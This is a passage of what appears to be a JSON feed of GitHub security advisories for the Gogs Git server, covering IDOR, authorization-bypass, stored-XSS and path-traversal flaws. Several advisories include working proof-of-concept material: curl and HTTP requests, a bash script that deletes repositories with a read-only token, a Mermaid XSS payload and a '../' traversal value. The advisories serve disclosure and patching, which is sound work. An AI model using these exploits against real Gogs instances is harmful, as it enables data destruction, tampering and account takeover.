repository\n\n**Inconsistency with Other Functions**:\n\n+ `NewLabel`: Correctly sets `RepoID = c.Repo.Repository.ID`\n+ `DeleteLabel`: Correctly uses `database.DeleteLabel(c.Repo.Repository.ID, id)`\n+ API `EditLabel`: Correctly uses `database.GetLabelOfRepoByID(c.Repo.Repository.ID, id)`\n\n- ****Only `UpdateLabel` in ****Web UI**** uses the vulnerable pattern****\n\n### **PoC**\n**Prerequisites**:\n\n+ Two user accounts: Alice (attacker) and Bob (victim)\n+ alice has written access to repo-a\n+ Bob owns repo-b with labels\n\n**Step 1: Identify Target Label ID**\n\n1. Login as bob, navigate to bob/repo-b/labels\n2. Open browser DevTools (F12) → Network tab\n3. Click edit on any label\n4. Observe the form data: id=\u003cLABEL_ID\u003e\n5. Example: id=1\n\n**Step 2: Execute Attack**\n\n```plain\n# Login as alice, get session cookie\n# Open DevTools → Application → Cookies → i_like_gogs\n# Copy the cookie value\n\n# Send malicious request\ncurl -X POST \"http://localhost:3000/alice/repo-a/labels/edit\" \\\n  -H \"Cookie: i_like_gogs=\u003cALICE_SESSION_COOKIE\u003e\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"id=1\u0026title=HACKED-BY-ALICE\u0026color=%23000000\"\n\n# Expected response: 302 Found (redirect)\n```\n\n**Step 3: Verify Impact**\n\n1. Login as bob\n2. Navigate to bob/repo-b/labels\n3. Observe: Label \"P0-Critical\" is now \"HACKED-BY-ALICE\" with black color\n\n### **Impact**\n1. **Issue Classification Disruption**: Modify critical labels (e.g., \"P0-Critical\" → \"P3-Low\") causing urgent issues to be deprioritized\n\n2. **Security Issue Concealment**: Change \"security\" labels to \"documentation\" to hide vulnerability reports from security teams\n\n3. **Workflow**** Sabotage**: Alter labels used in CI/CD automation, breaking deployment pipelines\n\n4. **Mass Disruption**: Batch modifies all labels across multiple repositories using ID enumeration\n\n**Recommended Fix**:\n\n```plain\nfunc UpdateLabel(c *context.Context, f form.CreateLabel) {\n    l, err := database.GetLabelOfRepoByID(c.Repo.Repository.ID, f.ID)\n    if err != nil {\n        c.NotFoundOrError(err, \"get label of repository by ID\")\n        return\n    }\n    // Now label ownership is validated at database layer\n    l.Name = f.Title\n    l.Color = f.Color\n    if err := database.UpdateLabel(l); err != nil {\n        c.Error(err, \"update label\")\n        return\n    }\n    c.RawRedirect(c.Repo.MakeURL(\"labels\"))\n}\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-17T18:42:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-cv22-72px-f4gh","https://nvd.nist.gov/vuln/detail/CVE-2026-25229","https://github.com/gogs/gogs/commit/643a6d6353cb6a182a4e1f0720228727f30a3ad2","https://github.com/advisories/GHSA-cv22-72px-f4gh"],"source_kind":"github","identifiers":["GHSA-cv22-72px-f4gh","CVE-2026-25229"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-17T19:00:08.542Z","updated_at":"2026-08-14T00:06:04.997Z","epss_percentage":0.00254,"epss_percentile":0.16565,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjIyLTcycHgtZjRnaM4ABSbY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdjIyLTcycHgtZjRnaM4ABSbY","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.0","vulnerable_version_range":"\u003c= 0.13.4"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjIyLTcycHgtZjRnaM4ABSbY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qajVtLWg1N2otNWd2N84ABSbX","url":"https://github.com/advisories/GHSA-jj5m-h57j-5gv7","title":"Gogs Allows Cross-Repository Comment Deletion via DeleteComment","description":"# IDOR: Cross-Repository Comment Deletion via DeleteComment\n\n## Summary\n\nThe `POST /:owner/:repo/issues/comments/:id/delete` endpoint does not verify that the comment belongs to the repository specified in the URL. This allows a repository administrator to delete comments from any other repository by supplying arbitrary comment IDs, bypassing authorization controls.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| Affected File | `internal/route/repo/issue.go` |\n| Affected Function | `DeleteComment` (lines 955-968) |\n| Secondary File | `internal/database/comment.go` |\n| Secondary Function | `DeleteCommentByID` (lines 505-520) |\n\n## Root Cause\n\nThe vulnerability exists due to insufficient authorization validation in the comment deletion flow:\n\n### 1. Missing Repository Ownership Check in DeleteComment\n\nIn `internal/route/repo/issue.go`, the function retrieves a comment by ID without verifying repository ownership:\n\n```go\nfunc DeleteComment(c *context.Context) {\n    comment, err := database.GetCommentByID(c.ParamsInt64(\":id\"))\n    if err != nil {\n        c.NotFoundOrError(err, \"get comment by ID\")\n        return\n    }\n\n    // Only checks if user is comment poster OR admin of the CURRENT repo (from URL)\n    if c.UserID() != comment.PosterID \u0026\u0026 !c.Repo.IsAdmin() {\n        c.NotFound()\n        return\n    } else if comment.Type != database.CommentTypeComment {\n        c.Status(http.StatusNoContent)\n        return\n    }\n\n    // No verification that comment.IssueID belongs to c.Repo.Repository.ID!\n    if err = database.DeleteCommentByID(c.User, comment.ID); err != nil {\n        c.Error(err, \"delete comment by ID\")\n        return\n    }\n\n    c.Status(http.StatusOK)\n}\n```\n\n### 2. Database Layer Performs No Authorization\n\nIn `internal/database/comment.go`, the deletion function performs no repository validation:\n\n```go\nfunc DeleteCommentByID(doer *User, id int64) error {\n    comment, err := GetCommentByID(id)\n    if err != nil {\n        if IsErrCommentNotExist(err) {\n            return nil\n        }\n        return err\n    }\n\n    // Directly deletes without checking repository ownership\n    sess := x.NewSession()\n    defer sess.Close()\n    if err = sess.Begin(); err != nil {\n        return err\n    }\n\n    if _, err = sess.ID(comment.ID).Delete(new(Comment)); err != nil {\n        // ...\n    }\n    // ...\n}\n```\n\n## Proof of Concept\n\n### Prerequisites\n\n1. Two users: **Alice** (attacker) and **Bob** (victim)\n2. Alice is admin of `alice/attacker-repo`\n3. Bob has created an issue with a comment on `bob/victim-repo`\n4. Attacker needs to obtain the comment ID from victim's repository (e.g., ID: 42)\n\n### HTTP Request\n\n```http\nPOST /alice/attacker-repo/issues/comments/42/delete HTTP/1.1\nHost: gogs.example.com\nCookie: i_like_gogs=\u003calice_session_token\u003e\n\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-17T18:40:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-jj5m-h57j-5gv7","https://github.com/gogs/gogs/commit/1b226ca48dc8b3e95cc1c41229d72819c960a1b7","https://nvd.nist.gov/vuln/detail/CVE-2026-25120","https://github.com/advisories/GHSA-jj5m-h57j-5gv7"],"source_kind":"github","identifiers":["GHSA-jj5m-h57j-5gv7","CVE-2026-25120"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-17T19:00:08.542Z","updated_at":"2026-08-14T00:06:04.997Z","epss_percentage":0.00271,"epss_percentile":0.18542,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajVtLWg1N2otNWd2N84ABSbX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qajVtLWg1N2otNWd2N84ABSbX","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.0","vulnerable_version_range":"\u003c= 0.13.4"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajVtLWg1N2otNWd2N84ABSbX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yanY1LTlweDItZnF3Ns4ABSC9","url":"https://github.com/advisories/GHSA-rjv5-9px2-fqw6","title":"Gogs has authorization bypass in repository deletion API","description":"### Summary\n\nThe DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository.\n\nThis vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().\n\n### Details\n0. vulnerability location:\n\n- Vulnerable Endpoint：DELETE /api/v1/repos/:owner/:repo\n- Routing configuration file: internal/route/api/v1/api.go (approximately line 253)\n- Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)\n\n1. Root Cause Analysis\n\nCode Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)\n\n```go\n// 当前的路由配置（存在漏洞）\nm.Delete(\"\", repo.Delete)  // 仅继承了外层的 repoAssignment() 中间件\n```\n\nCode Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)\n```go\n// Delete 函数内部没有额外的权限检查\nfunc Delete(c *context.APIContext) {\n    // 直接执行删除操作，未验证用户是否为所有者\n    if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {\n        c.Error(500, \"DeleteRepository\", err)\n        return\n    }\n    c.Status(204)\n}\n```\n\n2. Missing Permission Check\nComparison with route configurations for other sensitive operations:\n\n```go\n// Webhooks 管理（正确实现）\nm.Group(\"/hooks\", func() {\n    m.Combo(\"\").\n        Get(repo.ListHooks).\n        Post(bind(api.CreateHookOption{}), repo.CreateHook)\n}, reqRepoAdmin())  // ✅ 使用了权限中间件\n\n// 部署密钥管理（正确实现）\nm.Group(\"/keys\", func() {\n    m.Combo(\"\").\n        Get(repo.ListDeployKeys).\n        Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)\n}, reqRepoAdmin())  // ✅ 使用了权限中间件\n\n// 删除仓库（漏洞）\nm.Delete(\"\", repo.Delete)  // ❌ 没有使用权限中间件\n```\n3. Data Flow Path\n\n- API Request Path: DELETE /api/v1/repos/:owner/:repo\n- Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).\n- Execution: The system directly executes the repo.Delete() function.\n- Permission Check: The reqRepoOwner() middleware check is missing.\n- Internal Validation: There is no permission validation inside the Delete() function either.\n- Result: Any user with read permission can delete the repository.\n\n\n### PoC\n\nPrerequisites\n\n- A running Gogs instance.\n- The attacker's account is added as a collaborator to the target repository (Read access is sufficient).\n- The attacker possesses a valid API access token.\n- The target repository exists and is accessible.\n\n📜 Test Steps (Bash)\n\n1. Verify Gogs service is running\ncurl -I http://localhost:10880\n\n2. Create test accounts and repository\n- Owner account: owner / owner123456\n- Read-only account: victim / victim123456\n- Test repository: owner/delete-test\n\u003cimg width=\"1580\" height=\"832\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d1babac8-d952-4765-ba34-d4891c12b8db\" /\u003e\n\n\n3. Add 'victim' as a read-only collaborator\nPerform this via the Web UI or API\n\u003cimg width=\"1597\" height=\"725\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f76db1d4-9e45-4a97-af22-50db124ec4d0\" /\u003e\n\u003cimg width=\"1597\" height=\"760\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f6ef3bd9-47d4-4202-bf10-2022be557f16\" /\u003e\n\n\n\n4. Obtain API token for 'victim'\ncurl -X POST http://localhost:10880/api/v1/users/victim/tokens \\\n  -u victim:victim123456 \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"test-token\"}'\n\n5. Resource deleted\n\u003cimg width=\"1602\" height=\"483\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3e77aaaa-ffbc-4521-be4b-9a62f36499ff\" /\u003e\nWeb UI：Target repository deletion successful\n\u003cimg width=\"1581\" height=\"853\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fbd6b4a4-c874-44f9-9b6e-765371eddcc7\" /\u003e\n\n\n📜 PoC Script\n\n```bash\n#!/bin/bash\n# Gogs 仓库删除授权绕过漏洞 PoC\n\n# ============ 配置信息 ============\nGOGS_URL=\"http://localhost:10880\"\nTARGET_REPO=\"owner/delete-test\"\nVICTIM_TOKEN=\"your_victim_read_only_token_here\"\n\n# ============ 执行攻击 ============\necho \"========================================\"\necho \"Gogs 仓库删除授权绕过漏洞 PoC\"\necho \"========================================\"\necho \"\"\necho \"目标仓库: $TARGET_REPO\"\necho \"攻击者权限: Read（只读）\"\necho \"预期行为: 403 Forbidden（应该被拒绝）\"\necho \"\"\n\n# 步骤1：验证仓库存在\necho \"[步骤1] 验证目标仓库存在...\"\nREPO_CHECK=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n  -H \"Authorization: token $VICTIM_TOKEN\" \\\n  \"$GOGS_URL/api/v1/repos/$TARGET_REPO\")\n\nif [ \"$REPO_CHECK\" == \"200\" ]; then\n    echo \"✓ 仓库存在且可访问\"\nelse\n    echo \"✗ 仓库不存在或无权访问 (状态码: $REPO_CHECK)\"\n    exit 1\nfi\n\n# 步骤2：尝试删除仓库（漏洞利用）\necho \"\"\necho \"[步骤2] 使用只读权限尝试删除仓库...\"\nDELETE_RESPONSE=$(curl -s -w \"\\nHTTP_CODE:%{http_code}\" \\\n  -X DELETE \\\n  -H \"Authorization: token $VICTIM_TOKEN\" \\\n  \"$GOGS_URL/api/v1/repos/$TARGET_REPO\")\n\nDELETE_CODE=$(echo \"$DELETE_RESPONSE\" | grep \"HTTP_CODE:\" | cut -d: -f2)\n\necho \"实际状态码: $DELETE_CODE\"\necho \"\"\n\n# 步骤3：验证结果\nif [ \"$DELETE_CODE\" == \"204\" ] || [ \"$DELETE_CODE\" == \"200\" ]; then\n    echo \"========================================\"\n    echo \"🔴 漏洞确认：删除成功！\"\n    echo \"========================================\"\n    echo \"\"\n    echo \"只读权限用户成功删除了仓库！\"\n    echo \"\"\n    \n    # 验证仓库是否真的被删除\n    sleep 2\n    echo \"验证仓库是否真的被删除...\"\n    VERIFY_CHECK=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n      -H \"Authorization: token $VICTIM_TOKEN\" \\\n      \"$GOGS_URL/api/v1/repos/$TARGET_REPO\")\n    \n    if [ \"$VERIFY_CHECK\" == \"404\" ]; then\n        echo \"✗ 仓库已被完全删除（404 Not Found）\"\n        echo \"\"\n        echo \"危害确认：\"\n        echo \"  - 仓库及所有数据永久丢失\"\n        echo \"  - 代码历史记录不可恢复\"\n        echo \"  - 这是一个 HIGH 级别的严重漏洞\"\n    else\n        echo \"? 仓库状态未知 (状态码: $VERIFY_CHECK)\"\n    fi\n    \nelif [ \"$DELETE_CODE\" == \"403\" ]; then\n    echo \"========================================\"\n    echo \"✅ 无漏洞：操作被正确拒绝\"\n    echo \"========================================\"\n    echo \"\"\n    echo \"只读权限用户无法删除仓库，权限检查正常\"\n    \nelse\n    echo \"========================================\"\n    echo \"⚠️  未预期的响应\"\n    echo \"========================================\"\n    echo \"\"\n    echo \"状态码: $DELETE_CODE\"\n    echo \"这可能表示 API 端点不存在或其他错误\"\nfi\n\necho \"\"\necho \"========================================\"\necho \"PoC 执行完成\"\necho \"========================================\"\n```\n\n\n### Impact\nVulnerability Type: Broken Access Control (CWE-284)\n\nDescription: A critical authorization bypass vulnerability exists in the Gogs API. The access control mechanism fails to properly validate permissions for destructive operations.\n\nConsequences: An authenticated attacker with low-level privileges (e.g., a collaborator with Read-Only access) can exploit this vulnerability to issue unauthorized DELETE requests. This allows the attacker to permanently delete entire repositories, resulting in the immediate loss of all source code, git history, issues, and wiki documentation.\n\nSeverity: This vulnerability poses a critical risk to data integrity and availability, potentially leading to irreversible data loss and significant operational disruption for affected organizations.\n\nThe Core Risk: Privilege Escalation \u0026 Data Destruction The most critical aspect of this vulnerability is the violation of the Principle of Least Privilege. It allows a user with the lowest level of access (Read-Only) to execute the most destructive action possible (Delete).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-06T19:47:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/gogs/gogs/security/advisories/GHSA-rjv5-9px2-fqw6","https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272","https://github.com/gogs/gogs/releases/tag/v0.13.4","https://github.com/advisories/GHSA-rjv5-9px2-fqw6"],"source_kind":"github","identifiers":["GHSA-rjv5-9px2-fqw6","CVE-2025-65852"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-06T20:00:08.012Z","updated_at":"2026-08-14T00:06:10.450Z","epss_percentage":0.00103,"epss_percentile":0.27923,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yanY1LTlweDItZnF3Ns4ABSC9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yanY1LTlweDItZnF3Ns4ABSC9","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.4","vulnerable_version_range":"\u003c= 0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yanY1LTlweDItZnF3Ns4ABSC9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNmdxLWdybWgtNnhtNs4ABSC8","url":"https://github.com/advisories/GHSA-26gq-grmh-6xm6","title":"Gogs vulnerable to Stored XSS via Mermaid diagrams","description":"### Summary\nStored XSS via mermaid diagrams due to usage of vulnerable renderer library\n\n### Details\nGogs introduced support for rendering mermaid diagrams in version [0.13.0.](https://github.com/gogs/gogs/releases/tag/v0.13.0)\n\nCurrently used version of the library [mermaid 11.9.0](https://github.com/gogs/gogs/tree/main/public/plugins/mermaid-11.9.0) is vulnerable to at least two XSS scenarios with publicly available payloads\n\nResources:\nhttps://github.com/mermaid-js/mermaid/security/advisories/GHSA-7rqq-prvp-x9jh\nhttps://github.com/mermaid-js/mermaid/security/advisories/GHSA-8gwm-58g9-j8pw\n\n### PoC\n\n1. Create a markdown file eg. `README.md` containing following malicious mermaid diagram (payload based on [CVE-2025-54880](https://github.com/mermaid-js/mermaid/security/advisories/GHSA-8gwm-58g9-j8pw))\n```\narchitecture-beta\n    group api(cloud)[API]\n    service db \"\u003cimg src=x onerror=\\\"alert(document.domain)\\\"\u003e\" [Database] in api\n```\n2. The XSS should pop whenever either repository or file is viewed\n\n#### Demo\n\nhttps://github.com/user-attachments/assets/98320f62-6c1c-4254-aa61-95598c725235\n\n### Impact\nThe attacker can potentially achieve account takeover\nIn a worst case scenario if the victim were an instance admin this could lead to a compromise of the entire deployment\n\n### Proposed remediation steps\n1. Upgrade to a patched version of the third party library\nhttps://github.com/mermaid-js/mermaid/releases/tag/v10.9.5\n2. Consider running mermaid using `sandbox` level which would mitigate impact of future potential cross-site scripting issues\nhttps://mermaid.js.org/config/usage.html#securitylevel","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-06T19:44:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-26gq-grmh-6xm6","https://github.com/mermaid-js/mermaid/security/advisories/GHSA-7rqq-prvp-x9jh","https://github.com/mermaid-js/mermaid/security/advisories/GHSA-8gwm-58g9-j8pw","https://github.com/gogs/gogs/commit/71a72a72ad1c8cea7940c9d7e4cbdfbc0fc3d401","https://github.com/advisories/GHSA-26gq-grmh-6xm6"],"source_kind":"github","identifiers":["GHSA-26gq-grmh-6xm6"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-06T20:00:08.012Z","updated_at":"2026-08-14T00:06:10.451Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNmdxLWdybWgtNnhtNs4ABSC8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNmdxLWdybWgtNnhtNs4ABSC8","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.4","vulnerable_version_range":"\u003c= 0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNmdxLWdybWgtNnhtNs4ABSC8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcDdjLXdqNnEtM3FmMs4ABSCT","url":"https://github.com/advisories/GHSA-jp7c-wj6q-3qf2","title":"Gogs vulnerable to arbitrary file deletion via Path Traversal in wiki page update","description":"### Summary\nA Path Traversal vulnerability exists in the `updateWikiPage` function of Gogs. The vulnerability allows an authenticated user with write access to a repository's wiki to delete arbitrary files on the server by manipulating the `old_title` parameter in the wiki editing form.\n\n### Vulnerability Deatils\nThe vulnerability is located in `internal/database/wiki.go`. When updating a wiki page, the application accepts an `old_title` parameter to identify the potential rename operation. This parameter is used directly in `path.Join` and `os.Remove` without proper sanitization.\n\nCode snippet from `internal/database/wiki.go`:\n```go\n// Line 114\nos.Remove(path.Join(localPath, oldTitle+\".md\"))\n```\n\nIf an attacker provides a path traversal sequence (e.g., `../../../../target`) as `old_title`, the `os.Remove` function will resolve the path relative to the wiki's local directory and delete the target file. The vulnerability is limited to deleting files that end with `.md` (due to the appended extension), but depending on the filesystem and specific `path.Join` behavior, or if critical `.md` files exist (e.g. documentation, other wikis), the impact is significant. Additionally, in some contexts, the extension might be bypassed or ignored.\n\n### Impact\n- **Denial of Service**: Deletion of critical configuration files or data (if they match the extension or via other tricks).\n- **Data Loss**: Deletion of other users' wiki pages or documentation.\n\n### Remediation\nSanitize the `oldTitle` parameter using `ToWikiPageName` (or `path.Clean` and basename validation) before using it in file operations, similar to how the new `title` is currently handled.\n\n```go\n// Recommended Fix\nif oldTitle != \"\" {\n    oldTitle = ToWikiPageName(oldTitle)\n}\n```\n\n### Reproduction Steps\n1.  Log in to Gogs as a user with write access to a repository wiki.\n2.  Intercept the `POST` request to `/repo/wiki/edit`.\n3.  Modify the `old_title` parameter to `../../../../tmp/target_file`.\n4.  Submit the request.\n5.  Observe that `/tmp/target_file.md` is deleted from the server.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-06T18:16:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-jp7c-wj6q-3qf2","https://nvd.nist.gov/vuln/detail/CVE-2026-24135","https://github.com/advisories/GHSA-jp7c-wj6q-3qf2"],"source_kind":"github","identifiers":["GHSA-jp7c-wj6q-3qf2","CVE-2026-24135"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-06T19:00:08.072Z","updated_at":"2026-09-03T07:04:19.742Z","epss_percentage":0.00655,"epss_percentile":0.48517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcDdjLXdqNnEtM3FmMs4ABSCT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcDdjLXdqNnEtM3FmMs4ABSCT","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.4","vulnerable_version_range":"\u003c= 0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcDdjLXdqNnEtM3FmMs4ABSCT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcnBoLXc0aGgtZ3gzZ84ABSCS","url":"https://github.com/advisories/GHSA-mrph-w4hh-gx3g","title":"Gogs has arbitrary file read/write via Path Traversal in Git hook editing","description":"## Vulnerability Description\n\nIn the endpoint:\n\n```\n/username/reponame/settings/hooks/git/:name\n```\n\nthe `:name` parameter:\n\n* Is URL-decoded by **macaron routing**, allowing decoded slashes (`/`)\n* Is then passed directly to:\n\n```go\ngit.Repository.Hook(\"custom_hooks\", name)\n```\n\nwhich internally resolves the path as:\n\n```go\nfilepath.Join(repoPath, \"custom_hooks\", name)\n```\n\nBecause no path sanitization is applied, supplying `../` sequences allows access to **arbitrary paths outside the repository**.\n\n### As a Result:\n\n* **GET:** Arbitrary file contents are displayed in the hook edit page textarea (**Local File Inclusion**).\n* **POST:** Existing files can be overwritten with attacker-controlled content (**Arbitrary File Write**).\n\n---\n\n## Attack Prerequisites\n\n* The attacker is an authenticated user\n* The attacker has **Admin or higher privileges** on the target repository\n* The attacker has the **AllowGitHook** permission (or is a site administrator)\n* The target file is readable/writable by the **Gogs process OS permissions**\n\n---\n\n## Attack Scenario\n\n1. An attacker (with AllowGitHook + repository Admin privileges) accesses the Git hook edit URL\n2. A path containing `../` is supplied in `:name`, fully URL-encoded using `%2f`\n3. The server resolves `custom_hooks/../../...` without validation\n4. Arbitrary file contents are displayed and existing files can be overwritten\n\n---\n\n## Potential Impact\n\n* **Sensitive information disclosure:** `app.ini`, databases, logs, environment variables, etc.\n* **Configuration or data tampering:** Overwriting existing files\n* **Secondary impact:** Extraction of `SECRET_KEY` and database credentials may allow token forging or further compromise","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-06T18:14:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-mrph-w4hh-gx3g","https://github.com/gogs/gogs/commit/4894629903f9508fe85567c44f68804f008f1655","https://github.com/gogs/gogs/releases/tag/v0.13.4","https://nvd.nist.gov/vuln/detail/CVE-2026-23633","https://github.com/advisories/GHSA-mrph-w4hh-gx3g"],"source_kind":"github","identifiers":["GHSA-mrph-w4hh-gx3g","CVE-2026-23633"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-06T19:00:08.072Z","updated_at":"2026-08-14T00:06:10.459Z","epss_percentage":0.00456,"epss_percentile":0.37548,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcnBoLXc0aGgtZ3gzZ84ABSCS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcnBoLXc0aGgtZ3gzZ84ABSCS","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.4","vulnerable_version_range":"\u003c= 0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcnBoLXc0aGgtZ3gzZ84ABSCS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cWh4LWd3ZmotNmpxcs4ABSCR","url":"https://github.com/advisories/GHSA-5qhx-gwfj-6jqr","title":" Gogs user can update repository content with read-only permission","description":"## Vulnerability Description\n\nThe endpoint\n`PUT /repos/:owner/:repo/contents/*`\ndoes not require write permissions and allows access with **read permission only** via `repoAssignment()`.\n\nAfter passing the permission check, `PutContents()` invokes `UpdateRepoFile()`, which results in:\n\n* Commit creation\n* Execution of `git push`\n\nAs a result, a token with **read-only permission** can be used to modify repository contents.\n\n---\n\n## Attack Prerequisites\n\n* Possession of a valid access token\n* Read permission on the target repository\n  (public repository or collaborator with read access)\n\n---\n\n## Attack Scenario\n\n1. The attacker accesses the target repository with a read-only token\n2. The attacker sends a `PUT /contents` request to update an arbitrary file\n3. The server creates a commit and performs a git push on behalf of the attacker\n\n---\n\n## Potential Impact\n\n* Source code tampering\n* Injection of backdoors\n* Compromise of release artifacts and distributed packages","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-06T18:10:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-5qhx-gwfj-6jqr","https://github.com/gogs/gogs/pull/8102/commits/b6afcdb2e8d291e2adaaf6a8b7f88d240606515d","https://github.com/gogs/gogs/releases/tag/v0.13.4","https://nvd.nist.gov/vuln/detail/CVE-2026-23632","https://github.com/advisories/GHSA-5qhx-gwfj-6jqr"],"source_kind":"github","identifiers":["GHSA-5qhx-gwfj-6jqr","CVE-2026-23632"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-06T19:00:08.072Z","updated_at":"2026-08-28T13:04:09.305Z","epss_percentage":0.00282,"epss_percentile":0.20107,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cWh4LWd3ZmotNmpxcs4ABSCR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cWh4LWd3ZmotNmpxcs4ABSCR","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.4","vulnerable_version_range":"\u003c= 